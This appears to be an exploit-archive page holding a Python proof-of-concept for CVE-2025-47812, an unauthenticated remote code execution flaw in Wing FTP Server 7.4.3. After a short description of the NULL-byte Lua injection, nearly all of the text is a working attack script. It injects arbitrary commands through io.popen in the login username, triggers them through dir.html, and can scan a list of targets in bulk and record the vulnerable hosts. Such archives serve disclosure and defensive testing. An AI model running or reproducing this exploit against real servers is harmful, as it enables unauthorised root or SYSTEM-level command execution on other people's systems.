
5 changes to exploits/shellcodes/ghdb gogs 0.13.0 - Remote Code Execution (RCE) Wing FTP Server 7.4.3 - Unauthenticated Remote Code Execution (RCE) Moodle 4.4.0 - Authenticated Remote Code Execution Microsoft SharePoint 2019 - NTLM Authentication
179 lines
No EOL
7 KiB
Python
Executable file
179 lines
No EOL
7 KiB
Python
Executable file
# Exploit Title: Wing FTP Server 7.4.3 - Unauthenticated Remote Code Execution (RCE)
|
|
# CVE: CVE-2025-47812
|
|
# Date: 2025-06-30
|
|
# Exploit Author: Sheikh Mohammad Hasan aka 4m3rr0r (https://github.com/4m3rr0r)
|
|
# Vendor Homepage: https://www.wftpserver.com/
|
|
# Version: Wing FTP Server <= 7.4.3
|
|
# Tested on: Linux (Root Privileges), Windows (SYSTEM Privileges)
|
|
|
|
# Description:
|
|
# Wing FTP Server versions prior to 7.4.4 are vulnerable to an unauthenticated remote code execution (RCE)
|
|
# flaw (CVE-2025-47812). This vulnerability arises from improper handling of NULL bytes in the 'username'
|
|
# parameter during login, leading to Lua code injection into session files. These maliciously crafted
|
|
# session files are subsequently executed when authenticated functionalities (e.g., /dir.html) are accessed,
|
|
# resulting in arbitrary command execution on the server with elevated privileges (root on Linux, SYSTEM on Windows).
|
|
# The exploit leverages a discrepancy between the string processing in c_CheckUser() (which truncates at NULL)
|
|
# and the session creation logic (which uses the full unsanitized username).
|
|
|
|
# Proof-of-Concept (Python):
|
|
# The provided Python script automates the exploitation process.
|
|
# It injects a NULL byte followed by Lua code into the username during a POST request to loginok.html.
|
|
# Upon successful authentication (even anonymous), a UID cookie is returned.
|
|
# A subsequent GET request to dir.html using this UID cookie triggers the execution of the injected Lua code,
|
|
# leading to RCE.
|
|
|
|
|
|
import requests
|
|
import re
|
|
import argparse
|
|
|
|
# ANSI color codes
|
|
RED = "\033[91m"
|
|
GREEN = "\033[92m"
|
|
RESET = "\033[0m"
|
|
|
|
def print_green(text):
|
|
print(f"{GREEN}{text}{RESET}")
|
|
|
|
def print_red(text):
|
|
print(f"{RED}{text}{RESET}")
|
|
|
|
def run_exploit(target_url, command, username="anonymous", verbose=False):
|
|
login_url = f"{target_url}/loginok.html"
|
|
|
|
login_headers = {
|
|
"Host": target_url.split('//')[1].split('/')[0],
|
|
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0",
|
|
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
|
|
"Accept-Language": "en-US,en;q=0.5",
|
|
"Accept-Encoding": "gzip, deflate, br",
|
|
"Content-Type": "application/x-www-form-urlencoded",
|
|
"Origin": target_url,
|
|
"Connection": "keep-alive",
|
|
"Referer": f"{target_url}/login.html?lang=english",
|
|
"Cookie": "client_lang=english",
|
|
"Upgrade-Insecure-Requests": "1",
|
|
"Priority": "u=0, i"
|
|
}
|
|
|
|
|
|
from urllib.parse import quote
|
|
encoded_username = quote(username)
|
|
|
|
payload = (
|
|
f"username={encoded_username}%00]]%0dlocal+h+%3d+io.popen(\"{command}\")%0dlocal+r+%3d+h%3aread(\"*a\")"
|
|
"%0dh%3aclose()%0dprint(r)%0d--&password="
|
|
)
|
|
|
|
if verbose:
|
|
print_green(f"[+] Sending POST request to {login_url} with command: '{command}' and username: '{username}'")
|
|
|
|
try:
|
|
login_response = requests.post(login_url, headers=login_headers, data=payload, timeout=10)
|
|
login_response.raise_for_status()
|
|
except requests.exceptions.RequestException as e:
|
|
print_red(f"[-] Error sending POST request to {login_url}: {e}")
|
|
return False
|
|
|
|
set_cookie = login_response.headers.get("Set-Cookie", "")
|
|
match = re.search(r'UID=([^;]+)', set_cookie)
|
|
|
|
if not match:
|
|
print_red("[-] UID not found in Set-Cookie. Exploit might have failed or response format changed.")
|
|
return False
|
|
|
|
uid = match.group(1)
|
|
if verbose:
|
|
print_green(f"[+] UID extracted: {uid}")
|
|
|
|
dir_url = f"{target_url}/dir.html"
|
|
dir_headers = {
|
|
"Host": login_headers["Host"],
|
|
"User-Agent": login_headers["User-Agent"],
|
|
"Accept": login_headers["Accept"],
|
|
"Accept-Language": login_headers["Accept-Language"],
|
|
"Accept-Encoding": login_headers["Accept-Encoding"],
|
|
"Connection": "keep-alive",
|
|
"Cookie": f"UID={uid}",
|
|
"Upgrade-Insecure-Requests": "1",
|
|
"Priority": "u=0, i"
|
|
}
|
|
|
|
if verbose:
|
|
print_green(f"[+] Sending GET request to {dir_url} with UID: {uid}")
|
|
|
|
try:
|
|
dir_response = requests.get(dir_url, headers=dir_headers, timeout=10)
|
|
dir_response.raise_for_status()
|
|
except requests.exceptions.RequestException as e:
|
|
print_red(f"[-] Error sending GET request to {dir_url}: {e}")
|
|
return False
|
|
|
|
body = dir_response.text
|
|
clean_output = re.split(r'<\?xml', body)[0].strip()
|
|
|
|
if verbose:
|
|
print_green("\n--- Command Output ---")
|
|
print(clean_output)
|
|
print_green("----------------------")
|
|
else:
|
|
if clean_output:
|
|
print_green(f"[+] {target_url} is vulnerable!")
|
|
else:
|
|
print_red(f"[-] {target_url} is NOT vulnerable.")
|
|
|
|
return bool(clean_output)
|
|
|
|
def main():
|
|
parser = argparse.ArgumentParser(description="Exploit script for command injection via login.html.")
|
|
parser.add_argument("-u", "--url", type=str,
|
|
help="Target URL (e.g., http://192.168.134.130). Required if -f not specified.")
|
|
parser.add_argument("-f", "--file", type=str,
|
|
help="File containing list of target URLs (one per line).")
|
|
parser.add_argument("-c", "--command", type=str,
|
|
help="Custom command to execute. Default: whoami. If specified, verbose output is enabled automatically.")
|
|
parser.add_argument("-v", "--verbose", action="store_true",
|
|
help="Show full command output (verbose mode). Ignored if -c is used since verbose is auto-enabled.")
|
|
parser.add_argument("-o", "--output", type=str,
|
|
help="File to save vulnerable URLs.")
|
|
parser.add_argument("-U", "--username", type=str, default="anonymous",
|
|
help="Username to use in the exploit payload. Default: anonymous")
|
|
|
|
args = parser.parse_args()
|
|
|
|
if not args.url and not args.file:
|
|
parser.error("Either -u/--url or -f/--file must be specified.")
|
|
|
|
command_to_use = args.command if args.command else "whoami"
|
|
verbose_mode = True if args.command else args.verbose
|
|
|
|
vulnerable_sites = []
|
|
|
|
targets = []
|
|
if args.file:
|
|
try:
|
|
with open(args.file, 'r') as f:
|
|
targets = [line.strip() for line in f if line.strip()]
|
|
except Exception as e:
|
|
print_red(f"[-] Could not read target file '{args.file}': {e}")
|
|
return
|
|
else:
|
|
targets = [args.url]
|
|
|
|
for target in targets:
|
|
print(f"\n[*] Testing target: {target}")
|
|
is_vulnerable = run_exploit(target, command_to_use, username=args.username, verbose=verbose_mode)
|
|
if is_vulnerable:
|
|
vulnerable_sites.append(target)
|
|
|
|
if args.output and vulnerable_sites:
|
|
try:
|
|
with open(args.output, 'w') as out_file:
|
|
for site in vulnerable_sites:
|
|
out_file.write(site + "\n")
|
|
print_green(f"\n[+] Vulnerable sites saved to: {args.output}")
|
|
except Exception as e:
|
|
print_red(f"[-] Could not write to output file '{args.output}': {e}")
|
|
|
|
if __name__ == "__main__":
|
|
main() |